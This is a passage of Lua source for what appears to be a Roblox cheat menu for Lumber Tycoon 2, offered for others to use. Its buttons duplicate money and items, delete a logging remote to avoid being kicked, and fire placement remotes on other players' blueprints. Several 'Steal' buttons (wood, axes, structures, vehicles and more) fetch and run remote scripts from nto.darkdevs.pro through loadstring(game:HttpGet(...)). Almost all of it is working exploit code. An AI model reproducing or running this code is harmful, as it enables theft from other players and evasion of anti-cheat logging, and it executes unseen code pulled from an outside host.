if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and (Model.ItemName.Value ~= "Wire" or (Model:FindFirstChild("ItemName") and Model.ItemName.Value == "Wire" and Model:FindFirstChild("PurchasedBoxItemName"))) and isValidItemModel(Model) and not itemHasBeenCollected(Model) then
table.insert(CollectedLocalItems, Model)
end
end
wait()
until #CollectedTargetItems == 0
function GrabModelFromCollectedItems(ItemName)
for i, Model in pairs(CollectedLocalItems) do
if Model.ItemName.Value == ItemName then
table.remove(CollectedLocalItems,i)
return Model
end
end
end
for i, Data in pairs(CollectedTargetItemsCopy) do
local Model = GrabModelFromCollectedItems(Data.ItemName)
local ItemName = Data.ItemName
local Position = Data.OffSet + LocalLand.OriginSquare.Position
if Model:FindFirstChild("PurchasedBoxItemName") then
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(false, Position, false, false, Model)
Model.Parent = nil
else
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
end
if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
print("Finished Copying!")
end)
local ItemDupe = Instance.new("TextButton")
ItemDupe.Name = "ItemDupe"
ItemDupe.Parent = CopyFrame
ItemDupe.BackgroundColor3 = Color3.new(0, 0, 0)
ItemDupe.BorderColor3 = Color3.new(0, 0, 0)
ItemDupe.Position = UDim2.new(0, 3, 0, 49)
ItemDupe.Size = UDim2.new(0, 165, 0, 20)
ItemDupe.Font = Enum.Font.Fantasy
ItemDupe.FontSize = Enum.FontSize.Size18
ItemDupe.Text = "Dupe Mode"
ItemDupe.TextColor3 = Color3.new(255, 0, 0)
ItemDupe.TextSize = 15
ItemDupe.MouseButton1Down:connect(function()
--Functions, look here for the source and how it works if you want to know, also give me credits if you skid xD
--Prevent the game to kick you by letting the script error by not fincing the remote
if game.ReplicatedStorage.Transactions:FindFirstChild("AddLog") then
game.ReplicatedStorage.Transactions.AddLog:Destroy()
end
--Button function (toggle)
local Enabled = false
ItemDupe.MouseButton1Down:Connect(function()
if Enabled == true then
Enabled = false
ItemDupe.Text = "Dupe Mode: Disabled"
elseif Enabled == false then
Enabled = true
ItemDupe.Text = "Dupe Mode: Enabled"
end
end)
--Changes slot to -1 when Enabled to prevent saving
while wait(.25) do
if Enabled == true then
game.Players.LocalPlayer.CurrentSaveSlot.Value = -1
end
end
--Credits to Johiro
end)
local GetWood = Instance.new("TextButton")
GetWood.Name = "GetWood"
GetWood.Parent = CopyFrame
GetWood.BackgroundColor3 = Color3.new(0, 0, 0)
GetWood.BorderColor3 = Color3.new(0, 0, 0)
GetWood.Position = UDim2.new(0, 3, 0, 72)
GetWood.Size = UDim2.new(0, 165, 0, 20)
GetWood.Font = Enum.Font.Fantasy
GetWood.FontSize = Enum.FontSize.Size18
GetWood.Text = "Steal Wood"
GetWood.TextColor3 = Color3.new(255, 0, 0)
GetWood.TextSize = 15
GetWood.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/stealwood.lua',true))()
end)
local GetItems = Instance.new("TextButton")
GetItems.Name = "GetItems"
GetItems.Parent = CopyFrame
GetItems.BackgroundColor3 = Color3.new(0, 0, 0)
GetItems.BorderColor3 = Color3.new(0, 0, 0)
GetItems.Position = UDim2.new(0, 3, 0, 95)
GetItems.Size = UDim2.new(0, 165, 0, 20)
GetItems.Font = Enum.Font.Fantasy
GetItems.FontSize = Enum.FontSize.Size18
GetItems.Text = "Steal Items"
GetItems.TextColor3 = Color3.new(255, 0, 0)
GetItems.TextSize = 15
GetItems.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetItems.lua',true))()
end)
local GetAxes = Instance.new("TextButton")
GetAxes.Name = "GetAxes"
GetAxes.Parent = CopyFrame
GetAxes.BackgroundColor3 = Color3.new(0, 0, 0)
GetAxes.BorderColor3 = Color3.new(0, 0, 0)
GetAxes.Position = UDim2.new(0, 3, 0, 118)
GetAxes.Size = UDim2.new(0, 165, 0, 20)
GetAxes.Font = Enum.Font.Fantasy
GetAxes.FontSize = Enum.FontSize.Size18
GetAxes.Text = "Steal Axes"
GetAxes.TextColor3 = Color3.new(255, 0, 0)
GetAxes.TextSize = 15
GetAxes.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetAxe.lua',true))()
end)
local GetGifts = Instance.new("TextButton")
GetGifts.Name = "GetGifts"
GetGifts.Parent = CopyFrame
GetGifts.BackgroundColor3 = Color3.new(0, 0, 0)
GetGifts.BorderColor3 = Color3.new(0, 0, 0)
GetGifts.Position = UDim2.new(0, 3, 0, 141)
GetGifts.Size = UDim2.new(0, 165, 0, 20)
GetGifts.Font = Enum.Font.Fantasy
GetGifts.FontSize = Enum.FontSize.Size18
GetGifts.Text = "Steal Gifts"
GetGifts.TextColor3 = Color3.new(255, 0, 0)
GetGifts.TextSize = 15
GetGifts.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetGifts1.lua',true))()
end)
local GetStructure = Instance.new("TextButton")
GetStructure.Name = "GetStructure"
GetStructure.Parent = CopyFrame
GetStructure.BackgroundColor3 = Color3.new(0, 0, 0)
GetStructure.BorderColor3 = Color3.new(0, 0, 0)
GetStructure.Position = UDim2.new(0, 3, 0, 164)
GetStructure.Size = UDim2.new(0, 165, 0, 20)
GetStructure.Font = Enum.Font.Fantasy
GetStructure.FontSize = Enum.FontSize.Size18
GetStructure.Text = "Steal Structures"
GetStructure.TextColor3 = Color3.new(255, 0, 0)
GetStructure.TextSize = 15
GetStructure.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetStructure.lua',true))()
end)
local GetFurniture = Instance.new("TextButton")
GetFurniture.Name = "GetFurniture"
GetFurniture.Parent = CopyFrame
GetFurniture.BackgroundColor3 = Color3.new(0, 0, 0)
GetFurniture.BorderColor3 = Color3.new(0, 0, 0)
GetFurniture.Position = UDim2.new(0, 3, 0, 187)
GetFurniture.Size = UDim2.new(0, 165, 0, 20)
GetFurniture.Font = Enum.Font.Fantasy
GetFurniture.FontSize = Enum.FontSize.Size18
GetFurniture.Text = "Steal Furniture"
GetFurniture.TextColor3 = Color3.new(255, 0, 0)
GetFurniture.TextSize = 15
GetFurniture.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetFurnitures.lua',true))()
end)
local GetVehicle = Instance.new("TextButton")
GetVehicle.Name = "GetVehicle"
GetVehicle.Parent = CopyFrame
GetVehicle.BackgroundColor3 = Color3.new(0, 0, 0)
GetVehicle.BorderColor3 = Color3.new(0, 0, 0)
GetVehicle.Position = UDim2.new(0, 3, 0, 210)
GetVehicle.Size = UDim2.new(0, 165, 0, 20)
GetVehicle.Font = Enum.Font.Fantasy
GetVehicle.FontSize = Enum.FontSize.Size18
GetVehicle.Text = "Steal Box Vehicles"
GetVehicle.TextColor3 = Color3.new(255, 0, 0)
GetVehicle.TextSize = 15
GetVehicle.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetVehicle.lua',true))()
end)
local GetWires = Instance.new("TextButton")
GetWires.Name = "GetWires"
GetWires.Parent = CopyFrame
GetWires.BackgroundColor3 = Color3.new(0, 0, 0)
GetWires.BorderColor3 = Color3.new(0, 0, 0)
GetWires.Position = UDim2.new(0, 3, 0, 233)
GetWires.Size = UDim2.new(0, 165, 0, 20)
GetWires.Font = Enum.Font.Fantasy
GetWires.FontSize = Enum.FontSize.Size18
GetWires.Text = "Steal Wires"
GetWires.TextColor3 = Color3.new(255, 0, 0)
GetWires.TextSize = 15
GetWires.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetWires.lua',true))()
end)
local BringUp = Instance.new("TextButton")
BringUp.Name = "BringUp"
BringUp.Parent = CopyFrame
BringUp.BackgroundColor3 = Color3.new(0, 0, 0)
BringUp.BorderColor3 = Color3.new(0, 0, 0)
BringUp.Position = UDim2.new(0, 3, 0, 256)
BringUp.Size = UDim2.new(0, 165, 0, 20)
BringUp.Font = Enum.Font.Fantasy
BringUp.FontSize = Enum.FontSize.Size18
BringUp.Text = "BringUp"
BringUp.TextColor3 = Color3.new(255, 0, 0)
BringUp.TextSize = 15
BringUp.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://01925396229")[1].Source)()
end)
local Slot = Instance.new("TextBox")
local DMoney = Instance.new("TextButton")
local Load = Instance.new("TextButton")
local Store = Instance.new("TextButton")
local Restore = Instance.new("TextButton")
local SaveSlot = Instance.new("TextButton")
local DropAxes = Instance.new("TextButton")
local CountAxes = Instance.new("TextButton")
Slot.Name = "Slot"
Slot.Parent = CopyFrame
Slot.BackgroundColor3 = Color3.new(0, 0, 0)
Slot.BorderColor3 = Color3.new(0, 0, 0)
Slot.Position = UDim2.new(0, 3, 0, 279)
Slot.Size = UDim2.new(0, 165, 0, 20)
Slot.Font = Enum.Font.Fantasy
Slot.FontSize = Enum.FontSize.Size18
Slot.Text = "Base Slot Number "
Slot.TextColor3 = Color3.new(1, 1, 1)
Slot.TextSize = 15
--Locals
local MoneyCooldown = false
local CurrentSlot = game.Players.LocalPlayer:WaitForChild("CurrentSaveSlot").Value
local ScriptLoad = false
local CurrentlySavingOrLoading = game.Players.LocalPlayer:WaitForChild("CurrentlySavingOrLoading")
--Functions
local function CheckIfSlotAvailable(Slot)
for a,b in pairs(game.ReplicatedStorage.LoadSaveRequests.GetMetaData:InvokeServer(game.Players.LocalPlayer)) do
if a == Slot then
for c,d in pairs(b) do
if c == "NumSaves" and d ~= 0 then
return true
else
return false
end
end
end
end
end
local function CheckSlotNumber() --Checks if the slot number is right
if Slot.Text == "1" or Slot.Text == "2" or Slot.Text == "3" or Slot.Text == "4" or Slot.Text == "5" or Slot.Text == "6" then
local SlotNumber = tonumber(Slot.Text)
return SlotNumber
else return false
end
end
local function SendNotification(Title,Text,Duration) -- Sends Notification in the bottom right of the screen
game.StarterGui:SetCore("SendNotification", {
Title = Title;
Text = Text;
Icon = nil;
Duration = Duration
})
end
DMoney.Name = "DMoney"
DMoney.Parent = CopyFrame
DMoney.BackgroundColor3 = Color3.new(0, 0, 0)
DMoney.BorderColor3 = Color3.new(0, 0, 0)
DMoney.Position = UDim2.new(0, 3, 0, 302)
DMoney.Size = UDim2.new(0, 90, 0, 20)
DMoney.Font = Enum.Font.Fantasy
DMoney.FontSize = Enum.FontSize.Size18
DMoney.Text = "Dupe Money"
DMoney.TextColor3 = Color3.new(255, 0, 0)
DMoney.TextSize = 15
DMoney.MouseButton1Down:connect(function() --Sends the money and will come back after around 2 mins
if MoneyCooldown == true then
SendNotification("Cooldown Notification", "Wait for your Money to come back",2)
return
elseif MoneyCooldown == false then
MoneyCooldown = true
SendNotification("Money Sent", "Wait about 2 minutes for your Money to come back", 5)
game.ReplicatedStorage.Transactions.ClientToServer.Donate:InvokeServer(game.Players.LocalPlayer, game.Players.LocalPlayer.leaderstats.Money.Value, 1)
SendNotification("Money Received", "You received your money that you have sent earlier", 5)
MoneyCooldown = false
end
end)
Load.Name = "Load"
Load.Parent = CopyFrame
Load.BackgroundColor3 = Color3.new(0, 0, 0)
Load.BorderColor3 = Color3.new(0, 0, 0)
Load.Position = UDim2.new(0, 97, 0, 312)
Load.Size = UDim2.new(0, 70, 0, 20)
Load.Font = Enum.Font.Fantasy
Load.FontSize = Enum.FontSize.Size18
Load.Text = "Load Slot"
Load.TextColor3 = Color3.new(1, 1, 1)
Load.TextSize = 15
Load.MouseButton1Down:connect(function() --Loads the slot you want
ScriptLoad = true
local CheckSlot = CheckSlotNumber()
if CheckSlot ~= false then
if CheckIfSlotAvailable(CheckSlot) == true then
local LoadSlot = game.ReplicatedStorage.LoadSaveRequests.RequestLoad:InvokeServer(CheckSlot)
if LoadSlot == false then
SendNotification("Cooldown Notification", "You aren't abled to load now", 1)
end
if LoadSlot == true then
SendNotification("Reload Notification", "Loaded Your Slot", 2)
CurrentSlot = CheckSlot
end
else
SendNotification("Slot not Available", "This Slot is not Available, please choose another slot", 2)
end
else
SendNotification("Incorrect Slot", "Enter a Valid number in the upper field", 1)
end
ScriptLoad = false
end)
Store.Name = "Store"
Store.Parent = CopyFrame
Store.BackgroundColor3 = Color3.new(0, 0, 0)
Store.BorderColor3 = Color3.new(0, 0, 0)
Store.Position = UDim2.new(0, 3, 0, 325)
Store.Size = UDim2.new(0, 90, 0, 20)
Store.Font = Enum.Font.Fantasy
Store.FontSize = Enum.FontSize.Size18
Store.Text = "Store Axe"
Store.TextColor3 = Color3.new(255, 0, 0)
Store.TextSize = 15
Store.MouseButton1Down:connect(function() --Stores the Axes somewhere so you can restore them later
Amount = 0
for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do
if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
b.Parent = game.Players.LocalPlayer
Amount = Amount + 1
end
end
SendNotification("Store Notification", "Stored "..Amount.." Axes, you can restore them later", 2)
end)
Restore.Name = "Restore"
Restore.Parent = CopyFrame
Restore.BackgroundColor3 = Color3.new(0, 0, 0)
Restore.BorderColor3 = Color3.new(0, 0, 0)
Restore.Position = UDim2.new(0, 3, 0, 348)
Restore.Size = UDim2.new(0, 165, 0, 20)
Restore.Font = Enum.Font.Fantasy
Restore.FontSize = Enum.FontSize.Size18
Restore.Text = "Restore Axe"
Restore.TextColor3 = Color3.new(1, 1, 1)
Restore.TextSize = 15
Restore.MouseButton1Down:connect(function() --Restores the axes that you stored with the Store function
Amount = 0
for a,b in pairs(game.Players.LocalPlayer:GetChildren()) do
if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
b.Parent = game.Players.LocalPlayer.Backpack
Amount = Amount + 1
end
end
SendNotification("Restore Notification", "Restored "..Amount.." Axes that you Stored", 2)
end)
SaveSlot.Name = "SaveSlot"
SaveSlot.Parent = CopyFrame
SaveSlot.BackgroundColor3 = Color3.new(0, 0, 0)
SaveSlot.BorderColor3 = Color3.new(0, 0, 0)
SaveSlot.Position = UDim2.new(0, 3, 0, 371)
SaveSlot.Size = UDim2.new(0, 165, 0, 20)
SaveSlot.Font = Enum.Font.Fantasy
SaveSlot.FontSize = Enum.FontSize.Size18
SaveSlot.Text = "SaveSlot "
SaveSlot.TextColor3 = Color3.new(1, 1, 1)
SaveSlot.TextSize = 15
SaveSlot.MouseButton1Down:connect(function() --Saves the slot that you want
local CheckSlot = CheckSlotNumber()
if CheckSlot ~= false then
if CurrentSlot ~= -1 then
local SaveSlot = game.ReplicatedStorage.LoadSaveRequests.RequestSave:InvokeServer(CheckSlot)
if SaveSlot == true then
SendNotification("Save Notification", "Saved your Slot", 2)
elseif SaveSlot == false then
SendNotification("Already Saving", "Saving/Loading is currently in Progress", 1)
end
else
SendNotification("Error", "Load Your Slot First before saving", 1)
end
else
SendNotification("Incorrect Slot", "Enter a number in the upper field", 1)
end
end)
DropAxes.Name = "DropAxes"
DropAxes.Parent = CopyFrame
DropAxes.BackgroundColor3 = Color3.new(0, 0, 0)
DropAxes.BorderColor3 = Color3.new(0, 0, 0)
DropAxes.Position = UDim2.new(0, 3, 0, 417)
DropAxes.Size = UDim2.new(0, 165, 0, 20)
DropAxes.Font = Enum.Font.Fantasy
DropAxes.FontSize = Enum.FontSize.Size18
DropAxes.Text = "Drop Axes "
DropAxes.TextColor3 = Color3.new(255, 0, 0)
DropAxes.TextSize = 15
DropAxes.MouseButton1Down:connect(function() --Drops all your Axes
Amount = 0
for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
game.ReplicatedStorage.Interaction.ClientInteracted:FireServer(b, "Drop tool", game.Players.LocalPlayer.Character.Head.CFrame)
Amount = Amount + 1
end
end
SendNotification("Axe Dropped", "Dropped "..Amount.." Axes from your Backpack",5)
end)
CountAxes.Name = "CountAxes"
CountAxes.Parent = CopyFrame
CountAxes.BackgroundColor3 = Color3.new(0, 0, 0)
CountAxes.BorderColor3 = Color3.new(0, 0, 0)
CountAxes.Position = UDim2.new(0, 3, 0, 394)
CountAxes.Size = UDim2.new(0, 165, 0, 20)
CountAxes.Font = Enum.Font.Fantasy
CountAxes.FontSize = Enum.FontSize.Size18
CountAxes.Text = "Count Axes "
CountAxes.TextColor3 = Color3.new(255, 0, 0)
CountAxes.TextSize = 15
CountAxes.MouseButton1Down:connect(function() --Counts Axes in your Backpack (Equiped Axes dont Count)
Amount = 0
for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
Amount = Amount + 1
end
end
SendNotification("Axe Amount", "You have "..Amount.." Axes in your Backpack",2)
end)
local ArtFrame = Instance.new("Frame")
local Artmenu = Instance.new("ImageButton")
local Paint = Instance.new("TextButton")
Artmenu.Name = "Artmenu"
Artmenu.Parent = Picker
Artmenu.BackgroundColor3 = Color3.new(1, 1, 1)
Artmenu.BorderColor3 = Color3.new(0, 0, 0)
Artmenu.Position = UDim2.new(0, 15, 0, 345)
Artmenu.Size = UDim2.new(0, 80, 0, 80)
Artmenu.ZIndex = 3
Artmenu.Image = "rbxassetid://3907587419"
Artmenu.ScaleType = Enum.ScaleType.Crop
Artmenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = false
AIntroImage1.Visible = false
end)
ArtFrame.Name = "ArtFrame"
ArtFrame.Parent = MenuFrame
ArtFrame.BorderSizePixel = 1
ArtFrame.BackgroundTransparency = 0
ArtFrame.BorderColor3 = Color3.new(0, 0, 0)
ArtFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
ArtFrame.Size = UDim2.new(0, 170, 0, 230)
ArtFrame.Visible = false
Paint.Name = "Paint"
Paint.Parent = ArtFrame
Paint.BackgroundColor3 = Color3.new(0, 0, 0)
Paint.BorderColor3 = Color3.new(0, 0, 0)
Paint.Position = UDim2.new(0, 3, 0, 3)
Paint.Size = UDim2.new(0, 165, 0, 20)
Paint.Font = Enum.Font.Fantasy
Paint.Text = "Paint"
Paint.TextColor3 = Color3.new(255, 0, 0)
Paint.TextSize = 15
Paint.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/paintb.txt',true))()
end)
local PaintFill = Instance.new("TextButton")
local PaintFill_1 = Instance.new("TextButton")
local PaintFillFrame = Instance.new("Frame")
local PaintNameBox = Instance.new("TextBox")
local PaintFills = Instance.new("ScrollingFrame")
local FillFir = Instance.new("TextButton")
local FillBirch = Instance.new("TextButton")
local FillCherry = Instance.new("TextButton")
local FillGeneric = Instance.new("TextButton")
local FillOak = Instance.new("TextButton")
local FillPalm = Instance.new("TextButton")
local FillPine = Instance.new("TextButton")
local FillWalnut = Instance.new("TextButton")
local FillKoa = Instance.new("TextButton")
local FillSign = Instance.new("TextButton")
local FillVolcano = Instance.new("TextButton")
local FillGoldSwampy = Instance.new("TextButton")
local FillGreenSwampy = Instance.new("TextButton")
local FillSnowGlow = Instance.new("TextButton")
local FillCaveCrawler = Instance.new("TextButton")
local FillSpooky = Instance.new("TextButton")
local FillLoneCave = Instance.new("TextButton")
local FillSpookyNeon = Instance.new("TextButton")
local FillFrost = Instance.new("TextButton")
local FillGenericSpecial = Instance.new("TextButton")
local FillGrey = Instance.new("TextButton")
PaintFill.Name = "PaintFill"
PaintFill.Parent = ArtFrame
PaintFill.BackgroundColor3 = Color3.new(0, 0, 0)
PaintFill.BorderColor3 = Color3.new(0, 0, 0)
PaintFill.Position = UDim2.new(0, 3, 0, 26)
PaintFill.Size = UDim2.new(0, 165, 0, 20)
PaintFill.Font = Enum.Font.Fantasy
PaintFill.FontSize = Enum.FontSize.Size18
PaintFill.Text = "Paint Fill"
PaintFill.TextColor3 = Color3.new(255, 0, 0)
PaintFill.TextSize = 15
PaintFill.MouseButton1Click:Connect(function()
end)
PaintFills.Name = "PaintFill"
PaintFills.Parent = MenuFrame
PaintFills.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
PaintFills.BorderColor3 = Color3.new(0, 0, 0)
PaintFills.Size = UDim2.new(0, 150, 0, 380)
PaintFills.Position = UDim2.new(0, 3, 0, 3)
PaintFills.CanvasPosition = Vector2.new(0,0)
PaintFills.CanvasSize = UDim2.new(0, 0, 0, 495)
PaintFills.Visible = false
PaintNameBox.Name = "PaintNameBox"
PaintNameBox.Parent = PaintFills
PaintNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
PaintNameBox.BorderColor3 = Color3.new(0, 0, 0)
PaintNameBox.Position = UDim2.new(0, 3, 0, 3)
PaintNameBox.Size = UDim2.new(0, 150, 0, 20)
PaintNameBox.Font = Enum.Font.Fantasy
PaintNameBox.FontSize = Enum.FontSize.Size18
PaintNameBox.Text = "PLAYER NAME"
PaintNameBox.TextColor3 = Color3.new(255, 0, 0)
PaintNameBox.TextSize = 15
FillFir.Name = "FillFir"
FillFir.Parent = PaintFills
FillFir.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
FillFir.BorderColor3 = Color3.new(0, 0, 0)
FillFir.Position = UDim2.new(0, 3, 0, 26)
FillFir.Size = UDim2.new(0, 150, 0, 20)
FillFir.Font = Enum.Font.SourceSans
FillFir.Text = "Fir"
FillFir.TextColor3 = Color3.new(0, 0, 0)
FillFir.TextSize = 14
FillFir.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Fir"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillCherry.Name = "Cherry"
FillCherry.Parent = PaintFills
FillCherry.BackgroundColor3 = Color3.fromRGB(136, 62, 62)
FillCherry.BorderColor3 = Color3.new(0, 0, 0)
FillCherry.Position = UDim2.new(0, 3, 0, 49)
FillCherry.Size = UDim2.new(0, 150, 0, 20)
FillCherry.Font = Enum.Font.SourceSans
FillCherry.Text = "Cherry"
FillCherry.TextColor3 = Color3.new(0, 0, 0)
FillCherry.TextSize = 14
FillCherry.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Cherry"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillGeneric.Name = "Generic"
FillGeneric.Parent = PaintFills
FillGeneric.BackgroundColor3 = Color3.fromRGB(204, 142, 105)
FillGeneric.BorderColor3 = Color3.new(0, 0, 0)
FillGeneric.Position = UDim2.new(0, 3, 0, 72)
FillGeneric.Size = UDim2.new(0, 150, 0, 20)
FillGeneric.Font = Enum.Font.SourceSans
FillGeneric.Text = "Generic"
FillGeneric.TextColor3 = Color3.new(0, 0, 0)
FillGeneric.TextSize = 14
FillGeneric.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Generic"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillOak.Name = "Oak"
FillOak.Parent = PaintFills
FillOak.BackgroundColor3 = Color3.fromRGB(243, 207, 155)
FillOak.BorderColor3 = Color3.new(0, 0, 0)
FillOak.Position = UDim2.new(0, 3, 0, 95)
FillOak.Size = UDim2.new(0, 150, 0, 20)
FillOak.Font = Enum.Font.SourceSans
FillOak.Text = "Oak"
FillOak.TextColor3 = Color3.new(0, 0, 0)
FillOak.TextSize = 14
FillOak.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Oak"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillPalm.Name = "Palm"
FillPalm.Parent = PaintFills
FillPalm.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
FillPalm.BorderColor3 = Color3.new(0, 0, 0)
FillPalm.Position = UDim2.new(0, 3, 0, 118)
FillPalm.Size = UDim2.new(0, 150, 0, 20)
FillPalm.Font = Enum.Font.SourceSans
FillPalm.Text = "Palm"
FillPalm.TextColor3 = Color3.new(0, 0, 0)
FillPalm.TextSize = 14
FillPalm.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Palm"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillPine.Name = "Pine"
FillPine.Parent = PaintFills
FillPine.BackgroundColor3 = Color3.fromRGB(211, 190, 150)
FillPine.BorderColor3 = Color3.new(0, 0, 0)
FillPine.Position = UDim2.new(0, 3, 0, 141)
FillPine.Size = UDim2.new(0, 150, 0, 20)
FillPine.Font = Enum.Font.SourceSans
FillPine.Text = "Pine"
FillPine.TextColor3 = Color3.new(0, 0, 0)
FillPine.TextSize = 14
FillPine.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Pine"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillWalnut.Name = "Walnut"
FillWalnut.Parent = PaintFills
FillWalnut.BackgroundColor3 = Color3.fromRGB(106, 57, 9)
FillWalnut.BorderColor3 = Color3.new(0, 0, 0)
FillWalnut.Position = UDim2.new(0, 3, 0, 164)
FillWalnut.Size = UDim2.new(0, 150, 0, 20)
FillWalnut.Font = Enum.Font.SourceSans
FillWalnut.Text = "Walnut"
FillWalnut.TextColor3 = Color3.new(0, 0, 0)
FillWalnut.TextSize = 14
FillWalnut.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Walnut"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)
FillKoa.Name = "Koa"
FillKoa.Parent = PaintFills
FillKoa.BackgroundColor3 = Color3.fromRGB(144, 76, 42)
FillKoa.BorderColor3 = Color3.new(0, 0, 0)
FillKoa.Position = UDim2.new(0, 3, 0, 187)
FillKoa.Size = UDim2.new(0, 150, 0, 20)
FillKoa.Font = Enum.Font.SourceSans
FillKoa.Text = "Koa"
FillKoa.TextColor3 = Color3.new(0, 0, 0)
FillKoa.TextSize = 14
FillKoa.MouseButton1Down:connect(function()
local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Koa"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
